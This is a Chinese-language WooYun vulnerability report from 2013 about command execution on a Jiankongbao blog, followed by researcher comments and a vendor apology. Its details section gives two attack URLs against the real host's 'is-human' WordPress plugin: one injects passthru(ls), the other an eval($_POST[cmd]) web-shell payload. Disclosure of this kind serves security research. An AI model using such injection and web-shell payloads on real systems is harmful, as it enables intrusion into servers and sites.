当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-023023

漏洞标题：监控宝可被成功渗透和入侵（命令执行+旁注）

相关厂商：监控宝

漏洞作者： 煦阳。

提交时间：2013-05-03 18:49

修复时间：2013-06-17 18:50

公开时间：2013-06-17 18:50

漏洞类型：命令执行

危害等级：低

自评Rank：1

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-05-03： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-06-17： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

子站。。

详细说明：

http://blog.jiankongbao.com/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options%28%29;passthru%28ls%29;error
可shell
http://blog.jiankongbao.com/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval($_POST[cmd]);error
可跨主站。。
然后没然后了。

漏洞证明：

1.jpg


2.jpg

修复方案：

你比我专业。

版权声明：转载请注明来源 煦阳。@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论

  1. 2013-05-04 04:10 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

    wiki？还是？没看这个还真不知道又出现一个监控宝···

  2. 2013-05-06 09:42 | 煦阳。 ( 普通白帽子 | Rank:134 漏洞数:27 | 这个人很懒，什么都没留下。)

    @wefgod 额。 是

  3. 2013-05-08 17:23 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    @煦阳。 洞主。。。https://www.t00ls.net/thread-22750-1-1.html

  4. 2013-05-08 19:22 | 煦阳。 ( 普通白帽子 | Rank:134 漏洞数:27 | 这个人很懒，什么都没留下。)

    @疯狗 也是我。。

  5. 2013-05-08 19:50 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    @煦阳。 纳尼。。。

  6. 2013-05-08 22:21 | 煦阳。 ( 普通白帽子 | Rank:134 漏洞数:27 | 这个人很懒，什么都没留下。)

    @疯狗 我注册号的时候提交的。。。

  7. 2013-06-17 19:35 | her0ma ( 核心白帽子 | Rank:598 漏洞数:83 | 专注小厂商三十年！)

    这个是WP什么插件漏洞吗？

  8. 2013-06-17 21:22 | 逆雪寒 ( 实习白帽子 | Rank:74 漏洞数:13 | 脚本 运维架构)

    监控宝 这个厂商是不鸟乌云白帽子的。。很拽的。。。别想拿分。。

  9. 2013-06-17 21:32 | 煦阳。 ( 普通白帽子 | Rank:134 漏洞数:27 | 这个人很懒，什么都没留下。)

    @逆雪寒 看出来了。

  10. 2013-06-18 12:38 | 监控宝(乌云厂商)

    实在不好意思，我们反应慢了些，之前没有关注乌云平台，以后会加强关注。感谢@煦阳，欢迎继续帮助监控宝。